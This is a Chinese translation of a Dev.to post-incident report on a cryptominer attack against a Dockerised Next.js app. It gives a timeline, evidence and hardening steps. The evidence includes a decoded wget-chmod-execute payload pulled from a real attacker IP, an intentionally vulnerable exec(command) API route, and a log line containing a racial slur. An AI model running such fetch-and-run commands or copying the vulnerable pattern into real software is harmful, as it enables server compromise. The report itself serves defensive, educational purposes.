安全事件报告:Next.js 应用的加密挖矿攻击
发布: (2025年12月13日 GMT+8 12:46)
7 min read
原文: Dev.to
Source: Dev.to
引言
在 2025 年 12 月 7‑8 日,运行在 DigitalOcean Ubuntu Droplet 上的 Next.js 作品集应用 luisfaria.dev 被一次自动化的加密挖矿攻击所入侵。攻击者在 Docker 容器化的 Next.js 应用内部执行了远程代码,部署了加密货币矿工,这些矿工运行了数小时后才被发现。
本文档是一篇事后分析报告和教育资源,描述了攻击的发生过程、被泄露的内容以及如何防止类似事件。
时间线
| 事件 | 时间(UTC) |
|---|---|
| 攻击开始 | ~12 月 7 日 21:52 |
| 检测 | 12 月 8 ≈ 18:00(容器行为异常) |
| 修复 | 12 月 9 (完整重建与调查) |
| 发布 | 12 月 10 (本文档) |
攻击概览
- 加密矿工部署 – 两个挖矿进程(
XXaFNLHK与runnv)运行超过 4 小时。 - 资源耗尽 – CPU 使用率飙升,导致应用超时。
- 持久化尝试 – 恶意软件尝试(但失败)创建
systemd服务。 - 进程生成 – 创建了 40+ 僵尸 shell 进程。
- Nginx 错误 – 多条 “upstream timed out (110: Operation timed out)” 信息。
- 容器无响应 – Docker 命令变得极其缓慢。
- HTTP 499/504 错误 – 请求失败或超时。
进程快照
docker compose exec webapp ps aux
PID USER TIME COMMAND
1126 nextjs 4h24 ./XXaFNLHK # Cryptominer #1
1456 nextjs 3h49 /tmp/runnv/runnv # Cryptominer #2
40+ nextjs 0:00 [sh] # Zombie shells
证据
恶意 HTTP 请求
141.98.11.98 - POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20jew.arm7%3B%20wget%20http%3A%2F%2F78.142.18.92%2Fbins%2Fjew.arm7%3B%20chmod%20777%20jew.arm7%3B%20.%2Fjew.arm7%20tbk
解码后的命令
cd /tmp; rm jew.arm7; wget http://78.142.18.92/bins/jew.arm7; chmod 777 jew.arm7; ./jew.arm7 tbk
此模式匹配一种已知的 IoT/路由器漏洞利用,正在向面向互联网的服务器进行喷洒。Next.js 应用的响应表明存在代码执行漏洞。
下载的文件
| 路径 | 描述 |
|---|---|
/tmp/runnv/runnv | 8.3 MB 二进制文件 – 加密矿工 |
/tmp/runnv/config.json | 挖矿池配置 |
/tmp/alive.service | Systemd 持久化尝试(失败) |
/tmp/lived.service | Systemd 持久化尝试(失败) |
./XXaFNLHK | 次要矿工二进制文件 |
攻击者基础设施
89.144.31.18– 初始负载下载服务器(x86 二进制)78.142.18.92– 次级恶意软件分发服务器
应用日志片段
⨯ [Error: NEXT_REDIRECT] {
digest: '12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
}
自定义的 digest 值暗示某个 API 路由或 Server Action 正在执行未过滤的用户输入,允许攻击者注入 shell 命令。错误被 Next.js 捕获,但命令已经执行。
漏洞代码示例
// VULNERABLE – DO NOT USE
export async function POST(request) {
const { command } = await request.json();
const { exec } = require('child_process');
exec(command); // 🚨 Executes arbitrary commands
return Response.json({ success: true });
}
Docker 安全评估
Docker 防止了什么
- 矿工无法写入
/dev/(权限被拒绝)。 - Systemd 服务无法安装(容器内没有 systemd)。
- 文件系统访问被限制在容器视图内。
- 容器与宿主系统隔离。
Docker 未能防止的事项
- 容器内部的任意代码执行。
- 高 CPU 消耗。
- 向矿池的出站网络连接。
- 对容器内
/tmp/的写入。
修复步骤
-
停止受感染的容器
docker compose down -
保存取证证据
docker logs frontend_app > ~/attack_logs.txt docker logs nginx_gateway > ~/nginx_logs.txt -
从干净源码重新构建
cd /var/www/portfolio git pull origin master --ff-only docker compose build --no-cache docker compose up -d -
验证干净状态
docker compose ps docker compose exec webapp ps aux # 没有可疑进程
行动项
- 审计 所有 API 路由中
exec()、spawn()、eval()、Function()的使用。 - 检查 Server Actions 的输入验证是否到位。
- 运行
npm audit并更新有漏洞的依赖。 - 升级 Next.js 至最新版本(原为 15.3.2)。
- 在每个面向用户的端点实现 严格的输入消毒。
搜索危险函数
# Find dangerous functions in the codebase
grep -rE "exec|spawn|eval|Function\(" . \
--include="*.js" --include="*.ts" \
--exclude-dir=node_modules
检查未消毒的 Server Actions
grep -r "use server" . --include="*.js" --include="*.ts"
Docker 加固
使用非 root 用户(已应用)
USER nextjs
资源限制
# docker‑compose.yml
deploy:
resources:
limits:
cpus: '1.0'
memory: 512M
网络隔离
# docker‑compose.yml
networks:
frontend:
driver: bridge
backend:
driver: bridge
internal: true # No internet access for backend
Nginx 加固
# Rate limiting to mitigate automated attacks
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
server {
location /api/ {
limit_req zone=api burst=20 nodelay;
# ... other directives ...
}
}
输入验证(关键)
// SECURE CODE – never execute user input directly
import { z } from 'zod';
const schema = z.object({
action: z.enum(['allowed', 'actions', 'only']),
value: z.string().max(100).regex(/^[a-zA-Z0-9]+$/)
});
export async function POST(request) {
const body = await request.json();
const result = schema.safeParse(body);
if (!result.success) {
return Response.json({ error: 'Invalid input' }, { status: 400 });
}
// Perform safe, predefined operations here
}
监控与告警
-
容器资源监控
docker stats frontend_app -
为高 CPU 使用率设置告警(例如 Prometheus + Grafana)。
CORS 配置更新
// src/index.ts
const corsOptions = {
origin: config.nodeEnv === 'production'
? ['https://luisfaria.dev'] // ✅ production domain
: 'http://localhost:3000',
credentials: true,
};
总结检查清单
- 永不直接执行用户输入。
- 应用严格的输入验证(Zod、Joi 等)。
- 定期运行
npm audit检查前后端依赖。 - 强制最小特权容器(
USER nextjs)。 - 设置 CPU 与内存限制(Issue #34)。
- 实现服务之间的网络隔离(Issue #40)。
- 添加 Nginx 限流和安全头(Issue #33)。
- 加固所有 API 路由的输入验证(Issue #29)。
- 部署资源峰值监控与告警(Issue #39)。
- 更新 CORS 仅允许生产域名(Issue #32)。
- 保持 Next.js 与所有依赖的最新状态。